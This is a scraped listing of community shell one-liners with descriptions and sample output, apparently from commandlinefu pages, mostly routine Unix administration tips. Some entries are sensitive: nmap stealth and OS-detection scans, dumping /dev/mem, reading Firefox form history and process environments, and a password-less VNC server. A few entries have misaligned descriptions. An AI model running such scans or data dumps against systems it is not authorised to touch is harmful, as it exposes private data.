copy ( usefull when you transfer big files like db dumps through vpn ) using rsync. It requires rsync installed in both hosts. rsync --partial --progress --rsh=ssh $file_source $user@$host:$destination_file local -> remote rsync --partial --progress --rsh=ssh $user@$host:$remote_file $destination_file remote -> local sudo zcat /var/log/auth.log.*.gz | awk '/Failed password/&&!/for invalid user/{a[$9]++}/Failed password for invalid user/{a["*" $11]++}END{for (i in a) printf "%6s\t%s\n", a[i], i|"sort -n"}' $ sudo zcat /var/log/auth.log.*.gz | awk '/Failed password/&&!/for invalid user/{a[$9]++}/Failed password for invalid user/{a["*" $11]++}END{for (i in a) printf "%6s\t%s\n", a[i], i|"sort -n"}' Functions: awk printf sudo zcat Brute force discover Show the number of failed tries of login per account. If the user does not exist it is marked with *. rename 'y/A-Z/a-z/' * convert uppercase files to lowercase files [[ test_condition ]] && if_true_do_this || otherwise_do_that Instead of writing a multiline if/then/else/fi construct you can do that by one line instead of writing: if [[ "$1" == "$2" ]]; then echo "$1 is equal $2" else echo "$1 differs from $2" fi do write: [[ "$1" == "$2" ]] && echo "$1 is equal $2" || echo "$1 differs from $2" au BufWritePost * if getline(1) =~ "^#!" | if getline(1) =~ "/bin/" | silent !chmod +x <afile> | endif | endif VI config to save files with +x when a shebang is found on line 1 Add this to .vimrc to automatically give scripts with a shebang (e.g., #!/usr/bin/perl) executable permissions when saving. Found @ http://stackoverflow.com/questions/817060/creating-executable-files-in-linux/817522#817522 find / -type f -size +500M find all file larger than 500M diff <(wget -q -O - URL1) <(wget -q -O - URL2) Functions: diff wget ps hax -o user | sort | uniq -c Functions: ps sort uniq processes per user counter awk is evil! define(){ local y="$@";curl -sA"Opera" "http://www.google.com/search?q=define:${y// /+}"|grep -Po '(?<=<li>)[^<]+'|nl|perl -MHTML::Entities -pe 'decode_entities($_)' 2>/dev/null;} $ define bash Functions: grep perl This function takes a word or a phrase as arguments and then fetches definitions using Google's "define" syntax. The "nl" and perl portion isn't strictly necessary. It just makes the output a bit more readable, but this also works: define(){ local y="$@";curl -sA"Opera" "http://www.google.com/search?q=define:${y// /+}"|grep -Po '(?<=<li>)[^<]+';} If your version of grep doesn't have perl compatible regex support, then you can use this version: define(){ local y="$@";curl -sA"Opera" "http://www.google.com/search?q=define:${y// /+}"|grep -Eo '<li>[^<]+'|sed 's/<li>//g'|nl|perl -MHTML::Entities -pe 'decode_entities($_)' 2>/dev/null;} ‹ First < 8 9 10 11 12 > Last › date +%V perl one-liner to get the current week number Not perl but shorter. nethogs -p eth0 Monitor bandwidth by pid Nethogs is a useful tool for monitor bandwidth consumption by pid. Tested on Debian an CentOs md () { mkdir -p "$@" && cd "$@"; } abd-pb-2:bin md test abd-pb-2:test md a/b/c/d/e abd-pb-2:e Create a directory and change into it at the same time How often do you make a directory (or series of directories) and then change into it to do whatever? 99% of the time that is what I do. This BASH function 'md' will make the directory path then immediately change to the new directory. By using the 'mkdir -p' switch, the intermediate directories are created as well if they do not exist. sudo strings /dev/mem Functions: strings sudo cat? dd? RTFM diff -urp /originaldirectory /modifieddirectory Functions: diff Recursively compare two directories and output their differences on a readable format find . -type f -print0|xargs -0 md5sum|sort|perl -ne 'chomp;$ph=$h;($h,$f)=split(/\s+/,$_,2);print "$f"."\x00" if ($h eq $ph)'|xargs -0 rm -v -- removed `./duplicate0.mp3' removed `./1/duplicate1.mp3' removed `./2/duplicate2.mp3' Functions: find perl rm xargs This one-liner will the *delete* without any further confirmation all 100% duplicates but one based on their md5 hash in the current directory tree (i.e including files in its subdirectories). Good for cleaning up collections of mp3 files or pictures of your dog|cat|kids|wife being present in gazillion incarnations on hd. md5sum can be substituted with sha1sum without problems. The actual filename is not taken into account-just the hash is used. Whatever sort thinks is the first filename is kept. It is assumed that the filename does not contain 0x00. As per the good suggestion in the first comment, this one does a hard link instead: find . -xdev -type f -print0 | xargs -0 md5sum | sort | perl -ne 'chomp; $ph=$h; ($h,$f)=split(/\s+/,$_,2); if ($h ne $ph) { $k = $f; } else { unlink($f); link($k, $f); }' cd ~/.mozilla/firefox/ && sqlite3 `cat profiles.ini | grep Path | awk -F= '{print $2}'`/formhistory.sqlite "select * from moz_formhistory" && cd - > /dev/null Functions: awk cd grep List recorded formular fields of Firefox When you fill a formular with Firefox, you see things you entered in previous formulars with same field names. This command list everything Firefox has registered. Using a "delete from", you can remove anoying Google queries, for example ;-) stat -c '%A %a %n' * -rwxrwxr-x 775 argv.csh -rwxr-xr-x 755 array.sh -rwxrwxr-x 775 backup -rw-r--r-- 644 bash_trap -rw-r--r-- 644 bash_wait Functions: stat Nicely display permissions in octal format with filename Nicely display permissions in octal format and filename for a given directory echo "obase=2; 27" | bc -l $ echo "obase=2; 27" | bc -l 11011 $ echo "ibase=16; F2A" | bc -l 3882 $ echo "ibase=16; obase=8; F2A" | bc -l 7452 Base conversions with bc Easily convert numbers to their representations in different bases. Passing "ibase=16; obase=8; F2A" to bc will convert F2A (3882 in decimal) from Hex to Octal, and so on. taskset -c 0 your_command Functions: taskset Start a command on only one CPU core This is useful if you have a program which doesn't work well with multicore CPUs. With taskset you can set its CPU affinity to run on only one core. ctrl-t Switch 2 characters on a command line. If you typed 'sl', put the cursor on the 'l' and hit ctrl-t to get 'ls'. nmap -sS -P0 -sV -O <target> Get info about remote host ports and OS detection Where < target > may be a single IP, a hostname or a subnet -sS TCP SYN scanning (also known as half-open, or stealth scanning) -P0 option allows you to switch off ICMP pings. -sV option enables version detection -O flag attempt to identify the remote operating system Other option: -A option enables both OS fingerprinting and version detection -v use -v twice for more verbosity. nmap -sS -P0 -A -v < target > bc <<< 'obase=60;299' 04 59 Functions: bc Convert seconds into minutes and seconds This is a very simple way to input a large number of seconds and get a more useful value in minutes and seconds. Avoids useless use of echo. grep . * file1.txt:foo file1.txt:bar file2.txt:foo file3.txt:foo cat a bunch of small files with file indication If you have a bunch of small files that you want to cat to read, you can cat each alone (boring); do a cat *, and you won't see what line is for what file, or do a grep . *. "." will match any string and grep in multifile mode will place a $filename: before each matched line. It works recursively too!! column -tns: /etc/passwd Functions: column format txt as table not joining empty columns -n switch keeps empty columns If your distribution does not ship with a recent column version that supports -n you can use this alternative: perl -pe 's/(^|;);/$1 ;/g' file.csv | column -ts\; | less -S Change the delimiter to your liking. ssh remotehost 'dpkg --get-selections' | dpkg --set-selections && dselect install Tell local Debian machine to install packages used by remote Debian machine (also works on Ubuntu) Copies the 'install,' 'hold,' 'deinstall' and 'purge' states of packages on the remote machine to be matched on the local machine. Note: if packages were installed on the local machine that were never installed on the remote machine, they will not be deinstalled by this operation. mycommand 2> >(while read line; do echo -e "\e[01;31m$line\e[0m"; done) Functions: echo read stderr in color in case you run some command in CLI and would like to take read strerr little bit better, you can use the following command. It's also possible to grep it if necessary.... echo "dear admin, please ban eribsskog" | wall ~. Close a hanging ssh session ~ is the ssh control character. If you type it after a newline, you can example force close the ssh session. , ~, then . If you want more info, type ~? when you are connecting using ssh. Very useful to kill of any hanging ssh sessions when nothing else works. echo "export DISPLAY=:0; export XAUTHORITY=~/.Xauthority; notify-send test" | at now+1minute I finally found out how to use notify-send with at or cron You can write a script that does this : remind <minutes> [<message>] udevadm monitor See udev at work See how your system works with pendrives/mice/monitors/whatever-you-can-plug-in. Use cases: see on which /dev/... your peripherals are, find out if a specific udev rule is being applied correctly. dig +short myip.opendns.com @resolver1.opendns.com Get your outgoing IP address Instead of opening your browser, googling "whatismyip"... Also useful for scripts. dig can be found in the dnsutils package. alias busy='my_file=$(find /usr/include -type f | sort -R | head -n 1); my_len=$(wc -l $my_file | awk "{print $1}"); let "r = $RANDOM % $my_len" 2>/dev/null; vim +$r $my_file' Functions: alias awk find head sort vim wc Makes you look busy This makes an alias for a command named 'busy'. The 'busy' command opens a random file in /usr/include to a random line with vim. Drop this in your .bash_aliases and make sure that file is initialized in your .bashrc. echo {1..199}" bottles of beer on the wall, cold bottle of beer, take one down, pass it around, one less bottle of beer on the wall,, " | espeak -v english -s 140 one bottle of beer on the wall, cold bottle of beer...! your terminal sings you know the song... sing along <ESC> . Insert the last argument of the previous command ‹ First < 9 10 11 12 13 > Last › ssh -4 -C -c blowfish-cbc Harder, Faster, Stronger SSH clients We force IPv4, compress the stream, specify the cypher stream to be Blowfish. I suppose you could use aes256-ctr as well for cypher spec. I'm of course leaving out things like master control sessions and such as that may not be available on your shell although that would speed things up as well. dd if=/dev/sda | tee >(dd of=/dev/sdb) | dd of=/dev/sdc Functions: dd tee If you have some drive imaging to do, you can boot into any liveCD and use a commodity machine. The drives will be written in parallel. To improve efficiency, specify a larger block size in dd: dd if=/dev/sda bs=64k | tee >(dd of=/dev/sdb bs=64k) | dd of=/dev/sdc bs=64k To image more drives , insert them as additional arguments to tee: dd if=/dev/sda | tee >(dd of=/dev/sdb) >(dd of=/dev/sdc) >(dd of=/dev/sdd) | dd of=/dev/sde curl ip.appspot.com 88.224.62.157 Yeah I know it's been up here a million times, but this service is a really clean and nice one. Nothing but your IP address on it. Actually I was to write something like this, and noticed this on appspot... ;) rename -v 's/.*[s,S](\d{2}).*[e,E](\d{2}).*\.avi/SHOWNAME\ S$1E$2.avi/' poorly.named.file.s01e01.avi rename -v 's/.*[s,S](\d{2}).*[e,E](\d{2}).*\.avi/Dexter\ S$1E$2.avi/' *.avi dexter.s01e01.hdtv.xvid.lol.avi renamed as Dexter S01E01.avi S01E02 Dexter dvdrip.avi renamed as Dexter S01E02.avi dexter.s01-e03.proper.avi renamed as Dexter S01E03.avi Dexter.S01E04.HDTV.XviD-NoTV.avi renamed as Dexter S01E04.avi Clean up poorly named TV shows. Replace 'SHOWNAME' with the name of the TV show. Add -n to test the command without renaming files. Check the 'sample output'. touch /tmp/file ; $EXECUTECOMMAND ; find /path -newer /tmp/file [root@localhost ~]# touch /tmp/service [root@localhost ~]# service cups restart Stopping cups: [ OK ] Starting cups: [ OK ] [root@localhost ~]# find /var -newer /tmp/service /var/cache/cups/job.cache /var/lock/subsys /var/lock/subsys/cups /var/log/audit/audit.log /var/run /var/run/cupsd.pid /var/run/cups /var/run/cups/cups.sock /var/run/cups/certs /var/run/cups/certs/0 [root@localhost ~]# Functions: find touch Find files that were modified by a given command This has helped me numerous times trying to find either log files or tmp files that get created after execution of a command. And really eye opening as to how active a given process really is. Play around with -anewer, -cnewer & -newerXY lsof -Pni4 | grep LISTEN check open ports Tested in Linux and OSX svn diff | view - use vim to get colorful diff output :q to quit tmpfile=$(mktemp) && echo -e 'startup_message off\nscreen -t top htop\nsplit\nfocus\nscreen -t nethogs nethogs wlan0\nsplit\nfocus\nscreen -t iotop iotop' > $tmpfile && sudo screen -c $tmpfile Functions: echo screen sudo top Triple monitoring in screen This command starts screen with 'htop', 'nethogs' and 'iotop' in split-screen. You have to have these three commands (of course) and specify the interface for nethogs - mine is wlan0, I could have acquired the interface from the default route extending the command but this way is simpler. htop is a wonderful top replacement with many interactive commands and configuration options. nethogs is a program which tells which processes are using the most bandwidth. iotop tells which processes are using the most I/O. The command creates a temporary "screenrc" file which it uses for doing the triple-monitoring. You can see several examples of screenrc files here: http://www.softpanorama.org/Utilities/Screen/screenrc_examples.shtml /sbin/kexec -l /boot/$KERNEL --append="$KERNELPARAMTERS" --initrd=/boot/$INITRD; sync; /sbin/kexec -e # /sbin/kexec -l /boot/vmlinuz-2.6.16.60-0.33-smp --append='root=/dev/sda3 resume=/dev/sda2 console=ttyS1,115200n8 console=tty0 elevator=cfq pci=nomsi max_scsi_luns=2048 max_scsi_report_luns=2048 selinux=0 splash=silent showopts' --initrd=/boot/initrd-2.6.16.60-0.33-smp # sync # /sbin/kexec -e Quickly (soft-)reboot skipping hardware checks If you are doing some tests which require reboots (e. g. startup skripts, kernel module parameters, ...), this is very time intensive, if you have got a hardware with a long pre-boot phase due to hardware checks. At this time, kexec can help, which only restarts the kernel with all related stuff. First the kernel to be started is loaded, then kexec -e jumps up to start it. Is as hard as a reboot -f, but several times faster (e. g. 1 Minute instead of 12 on some servers here). wget $URL | htmldoc --webpage -f "$URL".pdf - ; xpdf "$URL".pdf & Save an HTML page, and covert it to a .pdf file Uses htmldoc to perform the conversion mv $1 $2 && ln -s $2/$(basename $1) $(dirname $1) Functions: basename dirname ln mv Relocate a file or directory, but keep it accessible on the old location throug a simlink. Used for moving stuff around on a fileserver ./my-really-long-job.sh && notify-send "Job finished" Run a long job and notify me when it's finished You will need libnotify-bin for this to work: sudo aptitude install libnotify-bin command | figlet _ _ _ _ _ | |__ ___| | | ___ __ _____ _ __| | __| | | '_ \ / _ \ | |/ _ \ \ \ /\ / / _ \| '__| |/ _` | | | | | __/ | | (_) | \ V V / (_) | | | | (_| | |_| |_|\___|_|_|\___/ \_/\_/ \___/|_| |_|\__,_| Make anything more awesome Pipe any command through figlet to make the output more awesome. Example: ls | figlet gnuplot -persist <(echo "plot '<(sort -n listOfNumbers.txt)' with lines") Quickly graph a list of numbers Useful when you've produced a large file of numbers, and want to quickly see the distribution. The value of y halfway along the x axis is the median. Simple! Just create the listOfNumbers.txt file with a number on each line to try it out. find * -type d -exec mkdir /where/you/wantem/\{\} \; Functions: find mkdir Copy a file structure without files Taken from: http://www.webmasterworld.com/forum40/1310.htm tail -10000 access_log | awk '{print $1}' | sort | uniq -c | sort -n | tail Functions: awk sort tail uniq Analyse an Apache access log for the most common IP addresses This uses awk to grab the IP address from each request and then sorts and summarises the top 10. mkfifo foo; script -f foo Functions: mkfifo script Share your terminal session real-time One person does `mkfifo foo; script -f foo' and another can supervise real-time what is being done using `cat foo'. shuf -n4 /usr/share/dict/words | tr -d '\n' DolbycuspidspromulgatedAmundsen Functions: tr Generate an XKCD #936 style 4 word password 4 random words are better than one obfuscated word http://xkcd.com/936/ ln -nsf <TARGET> <LINK> Functions: ln Repoint an existing symlink to a new location Instead of deleting an existing symlink and then re-creating it pointing at the new location, it is possible to perform the same action with this one command. Interesting discussion on whether this is possible to do atomically here: http://answers.google.com/answers/threadview?id=526119 find -L / -samefile /path/to/file -exec ls -ld {} + Functions: find ls Find all the links to a file This command finds and prints all the symbolic and hard links to a file. Note that the file argument itself be a link and it will find the original file as well. You can also do this with the inode number for a file or directory by first using stat or ls or some other tool to get the number like so: stat -Lc %i file ls -Hid file And then using: find -L / -inum INODE_NUMBER -exec ls -ld {} + for h in `find /proc/*/fd -ilname "/tmp/Flash*" 2>/dev/null`; do ln -s "$h" `readlink "$h" | cut -d' ' -f1`; done ls /tmp/Flash* Functions: cut ln Recover tmp flash videos (deleted immediately by the browser plugin) Newer versions of the flashplayer browser plugin delete the tmp flash video immediately after opening a filehandle to prevent the user from "exporting" the video by simply copying the /tmp/FlashXYZ file. This command searches such deleted flash videos and creates symbolic links to the opened filehandle with the same name as the deleted file. This allows you to play your flash-videos (from e.g. youtube) with e.g. mplayer or copy the buffered video if you want to keep it. for i in ~/.adobe ~/.macromedia ; do ( rm $i/ -rf ; ln -s /dev/null $i ) ; done $ ll .macromedia .adobe lrwxrwxrwx 1 abc abc 9 Dec 29 21:07 .macromedia -> /dev/null lrwxrwxrwx 1 abc abc 9 Dec 29 21:07 .adobe -> /dev/null Functions: ln rm Stop Flash from tracking everything you do. Brute force way to block all LSO cookies on a Linux system with the non-free Flash browser plugin. Works just fine for my needs. Enjoy. convert *.jpg output.pdf Create a single PDF from multiple images with ImageMagick Given some images (jpg or other supported formats) in input, you obtain a single PDF file with an image for every page. ls -Q List files with quotes around each filename nmap -sP 192.168.1.0/24 Nmap scan report for thunderbolt.example.com (192.168.1.1) Host is up (0.0020s latency). Nmap scan report for vyatta.example.com (192.168.1.2) Host is up (0.0019s latency). Nmap scan report for sdadh01.example.com (192.168.1.51) Host is up (0.0075s latency). Nmap scan report for cua01.example.com (192.168.1.61) Host is up (0.0013s latency). Nmap done: 256 IP addresses (4 hosts up) scanned in 0.02 seconds List alive hosts in specific subnet Works on any machine with nmap installed. Previous version does not work on machines without "seq". Also works on subnets of any size. ‹ First < 10 11 12 13 14 > Last › :g/^$/d Remote screenshot The `export` is unnecessary if it's only applicable to the one command. wget -qO - http://example.com/path/to/blah.tar.gz | tar xzf - download and unpack tarball without leaving it sitting on your hard drive column -s, -t <tmp.csv hatem@okra:~$ column -s, -t <~/projects/ummahrepos/2009_prayer_times.csv date week_day fajr_azan fajr_iqama sunrise dhuhr_azan dhuhr_iqama asr_azan asr_iqama maghrib_azan maghrib_iqama isha_azan isha_iqama Pretty Print a simple csv in the command line Splits the input based on commas and prints it in a nice column format. This would not work for CSV rows that have "," between quotes or with newline characters. Use only simple simple csv files. timeout 10 sleep 11 Execute a command with a timeout git add -u git remove files which have been deleted It deletes all removed files, updates what was modified, and adds new files. for db in $(mysql -e 'show databases' -s --skip-column-names); do mysqldump $db | gzip > "/backups/mysqldump-$(hostname)-$db-$(date +%Y-%m-%d-%H.%M.%S).gz"; done find ~/.mozilla/firefox/ -type f -name "*.sqlite" -exec sqlite3 {} VACUUM \; Cleanup firefox's database. tr : '\n' <<<$PATH Terminal - Show directories in the PATH, one per line with sed and bash3.X `here string' find -type f -exec md5sum '{}' ';' | sort | uniq --all-repeated=separate -w 33 | cut -c 35- Functions: cut find md5sum sort uniq Find Duplicate Files (based on MD5 hash) Calculates md5 sum of files. sort (required for uniq to work). uniq based on only the hash. use cut ro remove the hash from the result. autossh -M50000 -t server.example.com 'screen -raAd mysession' Have an ssh session open forever Open a ssh session opened forever, great on laptops losing Internet connectivity when switching WIFI spots. bind '"\e[24~"':"\"ps -elF;df -h;free -mt;netstat -lnpt;who -a\C-m""" F S UID PID PPID C PRI NI ADDR SZ WCHAN RSS PSR STIME TTY TIME CMD Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name Create a system overview dashboard on F12 key Command binds a set of commands to the F12 key. Feel free to alter the dashboard according to your own needs. How to find the key codes? Type read Then press the desired key (example: F5) ^[[15~ Try bind '"\e[15~"':"\"ssh su@ip-address\C-m""" bind '"\e[16~"':"\"apachectl -k restart\C-m""" tail -f FILE | perl -pe 's/KEYWORD/\e[1;31;43m$&\e[0m/g' well no colours here Functions: perl tail coloured tail tail with coloured output with the help of perl - need more colours? here is a colour table: http://www.tuxify.de/?p=23 clfu-seach <search words> Searching... sed -n '10,20p' <filename> Print all the lines between 10 and 20 of a file sed '1000000!d;q' < massive-log-file.log Efficiently print a line deep in a huge log file sed 's/\o0/\n/g' /proc/INSERT_PID_HERE/environ Given process ID print its environment variables Search for commands from the command line Search at CommandLineFu.com from your terminal. Get the clfu-seach at http://www.colivre.coop.br/Aurium/CLFUSearch yes '' | cat -n 1 Functions: cat yes a short counter Maybe you know shorter ? startx -- `which Xvfb` :1 -screen 0 800x600x24 && DISPLAY=:1 x11vnc How to run X without any graphics hardware This starts an X server using Xvfb(1) (no graphics hardware required), then starts a VNC server on the display. Change :1 if there's a conflict with an existing display, and change 800x600x24 to suit your tastes (24 is the bit depth, 800x600 is the size). This command obviously requires X be installed, and also x11vnc(1); both are available via your favourite package manager. You can also use another VNC server of your choosing, as long as DISPLAY is set to the display of Xvfb(1). To change your desktop environment (the default is twm(1), which is rather fail), you can add it to your ~/.xinitrc file (see the startx(1) manpage for details). sudo firefox -install-global-extension /path/to/add-on Functions: sudo Install a Firefox add-on/theme to all users To install a theme use: sudo firefox -install-global-theme /path/to/theme You can get the .xpi or .jar file from the versions history on the add-on/theme page. NOTE: may not work in your system (Debian-based is an example). rsync --rsync-path 'sudo rsync' username@source:/folder/ /local/ Rsync remote data as root using sudo If your user has sudo on the remote box, you can rsync data as root without needing to login as root. This is very helpful if the remote box does not allow root to login over SSH (which is a common security restriction). ls -hog $ ls -l -rwxr-xr-x@ 1 hai staff 24973 Mar 15 22:37 droopy* -rw-r--r--@ 1 hai staff 92728 Feb 25 22:57 test report.m4a $ ls -hog -rwxr-xr-x 1 6.0K Feb 4 18:05 xml.tcl* ls -hog --> a more compact ls -l I often deal with long file names and the 'ls -l' command leaves very little room for file names. An alternative is to use the -h -o and -g flags (or together, -hog). * The -h flag produces human-readable file size (e.g. 91K instead of 92728) * The -o suppresses the owner column * The -g suppresses the group column Since I use to alias ll='ls -l', I now do alias ll='ls -hog' set -o vi Functions: set Put readline into vi mode This lets you use your favorite vi edit keys to navigate your term. To set it permanently, put "set editing-mode vi" in your ~/.inputrc or /etc/inputrc. :g!/\S/d This command delete all the empty lines (include the lines with space) from a file. g = global command \S = non-whitespace character; !\S the opposite d = delete a range ^A ? Screen key bindings, page 1 of 1. break ^B b flow ^F f lockscreen ^X x pow_break B screen ^C c width W clear C focus ^I log H pow_detach D select ' windows ^W w colon : hardcopy h login L prev ^H ^P p ^? silence _ wrap ^R r copy ^[ [ help ? meta a quit \ split S writebuf > detach ^D d history { } monitor M readbuf < suspend ^Z z xoff ^S s digraph ^V info i next ^@ ^N sp n redisplay ^L l time ^T t xon ^Q q displays * kill K k number N remove X title A dumptermcap . lastmsg ^M m only Q removebuf = vbell ^G fit F license , other ^A reset Z version v Get all the keyboard shortcuts in screen ssh user@host cat /path/to/some/file | xclip Copy stdin to your X11 buffer Have you ever had to scp a file to your work machine in order to copy its contents to a mail? xclip can help you with that. It copies its stdin to the X11 buffer, so all you have to do is middle-click to paste the content of that looong file :) history | awk '{print $2}' | sort | uniq -c | sort -rn | head Functions: awk sort uniq nmap -sT -p 80 -oG - 192.168.1.* | grep open Host: 192.168.1.138 () Ports: 80/open/tcp//http/// Host: 192.168.1.139 () Ports: 80/open/tcp//http/// Host: 192.168.1.142 () Ports: 80/open/tcp//http/// Get list of servers with a specific port open Change the -p argument for the port number. See "man nmap" for different ways to specify address ranges. ‹ First < 11 12 13 14 15 > Last › alias s='screen -X screen'; s top; s vi; s man ls; Functions: alias man Start a new command in a new screen window If you are already running screen then you often want to start a command in a fresh window. You use this alias by typing 's whatever' from your command line and 'whatever' starts running in a new window. Good with interactive commands like info, vim, and nethack. echo 'obase=60;299' | bc This is a very simple way to input a large number of seconds and get a more useful value in minutes and seconds. \foo echo 'Hey, it works...' > fooy.txt alias cat='somebunk -fFnrACesvVwwwwwlRQ +1337 --awesome-mode-engaged=1' cat fooy.txt bash: somebunk: command not found \cat fooy.txt Hey, it works... bypass any aliases and functions for the command A simple directive which disables all aliases and functions for the command immediately following it. Shortcut for the bash built-in 'command' - "command linefoo". Think, {sic}... du -h /path | sort -h List by size all of the directories in a given tree. netstat -lantp | grep ESTABLISHED |awk '{print $5}' | awk -F: '{print $1}' | sort -u 91.186.200.150 92.42.55.172 94.127.72.60 94.182.150.25 94.182.156.230 94.184.255.134 95.38.45.133 Functions: awk grep netstat sort All IP connected to my host find all computer connected to my host through TCP connection. df -P | column -t $ LANG=c df -P | column -t Functions: column df df without line wrap on long FS name -P uses the POSIX output format, which makes information on each file system always printed on exactly one line. "column -t" makes a table from the input. while [ /bin/true ]; do OLD=$NEW; NEW=`cat /proc/net/dev | grep eth0 | tr -s ' ' | cut -d' ' -f "3 11"`; echo $NEW $OLD | awk '{printf("\rin: % 9.2g\t\tout: % 9.2g", ($1-$3)/1024, ($2-$4)/1024)}'; sleep 1; done Functions: awk cut echo grep sleep tr Watch RX/TX rate of an interface in kb/s Just a simple way without the need of additional tools. Of course, replace eth0 with your IF. rsync --progress --partial --rsh="ssh -p 8322" --bwlimit=100 --ipv4 user@domain.com:~/file.tgz . temp.tar.gz sent 204 bytes received 192 bytes 88.00 bytes/sec total size is 20002 speedup is 50.51 rsync instead of scp The command copies a file from remote SSH host on port 8322 with bandwidth limit 100KB/sec; --progress shows a progress bar --partial turns partial download on; thus, you can resume the process if something goes wrong --bwlimit limits bandwidth by specified KB/sec --ipv4 selects IPv4 as preferred I find it useful to create the following alias: alias myscp='rsync --progress --partial --rsh="ssh -p 8322" --bwlimit=100 --ipv4' in ~/.bash_aliases, ~/.bash_profile, ~/.bash_login or ~/.bashrc where appropriate. wget http://URL/FILE.tar.gz -O - | tar xfz - This will uncompress the file while it's being downloaded which makes it much faster ssh -f -L 5900:localhost:5900 your.ssh.server "x11vnc -safer -localhost -nopw -once -display :0"; vinagre localhost:5900 Single use vnc-over-ssh connection This command 1. SSH into a machine 2. Tunnels VNC port to your local computer ("-L 5900:localhost:5900") 3. Runs a single use vnc server ("x11vnc -safer -localhost -nopw -once -display :0") 4. Goes into the background ("-f") 5. Runs VNC viewer on the local computer connecting to the remote machine via the newly created SSH tunnel ("vinagre localhost:5900") echo 213.251.145.96 wikileaks.com >>/etc/hosts root@nostromo:~# w3m wikileaks.com Visit wikileaks.com Who needs a DNS server lsof -i -P | grep -i "listen" iChatAgen 222 patko 8u IPv4 0x0e05aaec 0t0 TCP *:50603 (LISTEN) List all open ports and their owning executables Particularly useful on OS X where netstat doesn't have -p option. !!:[position] Example: vi a.c diff !!:1 !!:1.bak use the previous commands params in the current command Here the !!:1 will take the first parameter from the previous command. This can be used in conjunction with other history commands like ! and so on. lsof -r 2 -p PID -i -a View network activity of any application or user in realtime The "-r 2" option puts lsof in repeat mode, with updates every 2 seconds. (Ctrl -c quits) The "-p" option is used to specify the application PID you want to monitor. The "-u' option can be used to keep an eye on a users network activity. "lsof -r 2 -u username -i -a" echo -e "Some Text Line1\nSome Text Line 2" | convert -background none -density 196 -resample 72 -unsharp 0x.5 -font "Courier" text:- -trim +repage -bordercolor white -border 3 text.gif the file text.gif is generated with the text. Convert text to picture generates a picture file with the text. Some other samples in: http://www.imagemagick.org/Usage/text/ vimdiff scp://root@server-foo.com//etc/snmp/snmpd.conf scp://root@server-bar.com//etc/snmp/snmpd.conf Colored diff ( via vim ) on 2 remotes files on your local computer. You can use vim scp://root@example.com//file too in a simple case. [ -t 0 ] || exit 1 Functions: exit Make sure a script is run in a terminal. Exit with error if script is not run in a terminal gfagreaa renamed as GFAGREAA gfdfhf renamed as GFDFHF req renamed as REQ rewqr renamed as REVQR convert filenames in current directory to lowercase The simplest way I know. (some_command 2>&1 1>&3 | tee /path/to/errorlog ) 3>&1 1>&2 | tee /path/to/stdoutlog redirect stdout and stderr each to separate files and print both to the screen ncdu Ultimate current directory usage command An NCurses version of the famous old 'du' unix command echo {0..1}{0..1}{0..1}{0..1} 0000 0001 0010 0011 0100 0101 0110 0111 1000 1001 1010 1011 1100 1101 1110 1111 Create a list of binary numbers If you should happen to find yourself needing some binary numbers, this is a quickie way of doing it. If you need more digits, just add more "{0..1}" sequences for each digit you need. You can assign them to an array, too, and access them by their decimal equivalent for a quickie binary to decimal conversion (for larger values it's probably better to use another method). Note: this works in bash, ksh and zsh. For zsh, though, you'll need to issue a setopt KSH_ARRAYS to make the array zero-based. binary=({0..1}{0..1}{0..1}{0..1}) echo ${binary[9]} sudo dd if=/dev/zero of=/swapfile bs=1024 count=1024000;sudo mkswap /swapfile; sudo swapon /swapfile %free -tom %sudo dd if=/dev/zero of=/swapfile bs=1024 count=1024000;sudo mkswap /swapfile; sudo swapon /swapfile 1024000+0 records in 1024000+0 records out 1048576000 bytes (1.0 GB) copied, 48.22 s, 21.7 MB/s Setting up swapspace version 1, size = 1048571 kB no label, UUID=1c269910-c4f4-441d-a65c-3cd0ff2a4f31 free -tom Functions: dd mkswap sudo swapon create an emergency swapfile when the existing swap space is getting tight Create a temporary file that acts as swap space. In this example it's a 1GB file at the root of the file system. This additional capacity is added to the existing swap space. curl -s http://checkip.dyndns.org/ | grep -o "[[:digit:].]\+" Get your public ip using dyndns sudo aptitude purge `dpkg --get-selections | grep deinstall | awk '{print $1}'` kelevra@lab:~$ sudo aptitude purge `dpkg --get-selections | grep deinstall | awk '{print $1}'` Reading package lists... Done Building dependency tree Reading state information... Done Initializing package states... Done Writing extended state information... Done Reading task descriptions... Done The following packages will be REMOVED: a2ps{p} console-tools{p} desktop-base{p} fam{p} fortune-mod{p} libdatrie0{p} libfam0{p} libfs6{p} libvte9{p} libxfce4mcs-client3{p} libxfce4mcs-manager3{p} lpr{p} x11-apps{p} x11-session-utils{p} xfonts-100dpi{p} xfonts-75dpi{p} xfonts-scalable{p} xinit{p} xli{p} 0 packages upgraded, 0 newly installed, 19 to remove and 0 not upgraded. Need to get 0B of archives. After unpacking 0B will be used. Do you want to continue? [Y/n/? Functions: awk grep sudo Purge configuration files of removed packages on debian based systems Purge all configuration files of removed packages sl When feeling down, this command helps sudo apt-get install sl man sl ‹ First < 12 13 14 15 16 > Last › CTRL+u clear current line ssh-keygen; ssh-copy-id user@host; ssh user@host Transfer SSH public key to another machine in one step This command sequence allows simple setup of (gasp!) password-less SSH logins. Be careful, as if you already have an SSH keypair in your ~/.ssh directory on the local machine, there is a possibility ssh-keygen may overwrite them. ssh-copy-id copies the public key to the remote host and appends it to the remote account's ~/.ssh/authorized_keys file. When trying ssh, if you used no passphrase for your key, the remote shell appears soon after invoking ssh user@host. detox -r -s utf_8 /path/to/old/win/files/dir detox -r -v -n -s utf_8 /media/archivo/audio/music/selections/ Scanning: /media/archivo/audio/music/selections/ /media/archivo/audio/music/selections//2008 indie -> /media/archivo/audio/music/selections//2008_indie /media/archivo/audio/music/selections//2008 indie/emily_haines_&_the_soft_skeleton-the_lottery.mp3 -> /media/archivo/audio/music/selections//2008 indie/emily_haines_and_the_soft_skeleton-the_lottery.mp3 /media/archivo/audio/music/selections//2008 indie/boat-(im_a)_donkey_for_your_love.mp3 -> /media/archivo/audio/music/selections//2008 indie/boat-im_a-donkey_for_your_love.mp3 /media/archivo/audio/music/selections//2008 indie/say_hi_(to_your_mom)-northwestern_girls.mp3 -> /media/archivo/audio/music/selections//2008 indie/say_hi-to_your_mom-northwestern_girls.mp3 /media/archivo/audio/music/selections//2008 indie/the__duke__spirit-send_a_little_love_token.mp3 -> /media/archivo/audio/music/selections//2008 indie/the_duke_spirit-send_a_little_love_token.mp3 /media/archivo/audio/music/selections//2008 indie/john_vanderslice-exodus_damage_(remix).mp3 -> 